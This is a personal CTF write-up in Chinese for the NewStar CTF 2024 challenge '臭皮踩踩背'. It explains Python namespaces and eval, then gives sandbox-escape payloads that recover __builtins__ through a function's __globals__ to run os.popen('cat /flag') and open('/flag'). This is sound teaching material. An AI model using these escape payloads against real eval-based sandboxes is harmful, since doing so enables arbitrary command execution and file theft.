NewStar web 臭皮踩踩背 wp

参考臭皮踩踩背 | WriteUp - NewStar CTF 2024,这里只是作为我个人做题记录使用,附加一点理解

题目需要用 nc 连接:

image-20241027095126613

失败,这里解释一下

名称空间:

在一个正常的Python程序的执行过程中,至少存在两个名称空间:

  • 内建名称空间:包括内建函数比如(max,sum等)
  • 全局名称空间:存储模块级别的变量和定义,整个模块内有效。
  • 本地名称空间:存储函数或方法内的局部变量,仅在函数执行期间有效。

如果定义了函数,则还会有局部名称空间,全局名称空间一般由在程序的全局变量和它们对应的映射对象组成,而局部名称空间则在函数内部由函数局部变量和它们对应的映射对象组成,这里关键的是内建名称空间

Python解释器在启动的时候会首先加载内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身(注意区分函数名称和函数对象的区别)。这些名称空间由builtins模块中的名字构成:

image-20241027101606135

builtinsbuiltin的简单区别

builtins其实还是引用了builtin模块而已,这说明真正的模块是builtin,也就是说,前面提到的内建函数其实是在内建模块builtin中定义的,即builtins模块包含内建名称空间中内建名字的集合(因为它引用或者说指向了builtin模块),而真正的内建函数、异常和属性来自builtin模块。也就是说,在Python中,其实真正是只有builtin这个模块,并不存在builtins这个模块:

globals 是我们当前的全局空间,如果你声明一个全局变量,它将会存在于当前的 globals 中:

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> x=1
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 1}

如果访问了 open 函数,如果 globals 中有,那就执行 globals 中的(可能是你自己定义的,因此存在于 globals 空间中),否则,执行 builtins 中的(类似 open eval __import__ 之类的函数都是在 builtins 中的)。

globals()['__builtins__'].__dict__.keys()

eval:

eval 函数的第一个参数就是一个字符串,即你要执行的 Python 代码,第二个参数就是一个字典,指定在接下来要执行的代码的上下文中,globals 是怎样的。

题目中,eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}) 这段代码,__builtins__ 被设置为 None,而我们输入的代码就是在这个 builtinsNone 的上下文中执行的,我们从而失去了直接使用 builtins 中的函数的能力,像下面的代码就会报错(题目中直接输入 print(1)

注意看,题目刚好给了一个匿名函数 f,看似无用,实际上参考文档已经给出提示——Python 中「一切皆对象」。故可以利用函数对象的 __globals__ 属性来逃逸

函数的 __globals__ 记录的是这个函数所在的 globals 空间,而这个 f 函数是在题目源码的环境中(而不是题目的 eval 的沙箱中)

  • 源码的环境(全局环境):这是程序的实际全局命名空间,包含了所有定义的变量、函数、模块等资源。这个环境可以访问 __builtins__ 模块,包含了系统函数,比如 open()import 等。这里的代码不受限制地执行,可以访问和修改系统资源。

  • eval 沙箱环境eval 是一种函数或方法,用于执行表达式,并且可以通过第二个参数传入自定义的命名空间。通过限制 eval 的命名空间,开发者可以构建一个沙箱环境,指定代码在这个沙箱中仅可以访问有限的变量和函数。比如,设定 __builtins__None,则可以阻止代码访问默认的系统函数,从而避免执行破坏性命令。

f.__globals__['__builtins__']

但是

f.__globals__['__builtins__'].eavl()

不行

  1. 源码会做替换(我也不知道完整源码怎么来的)

image-20241027110811174

image-20241027110932971

绕过也很简单,显式指定即可:

>>> f.__globals__['__builtins__'].eval('print(1)', { "__builtins__": f.__globals__['__builtins__'] })
>>> eval(inp, {"__builtins__": None, 'f': f})

解决方案:

f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read()
f.__globals__['__builtins__'].open('/flag').read()
f.__globals__['__builtins__'] .eval('open("/flag").read()', { "__builtins__": f.__globals__['__builtins__'] })

flag{19475ea8-6fd6-4e4a-8b86-ad025e20e3f4}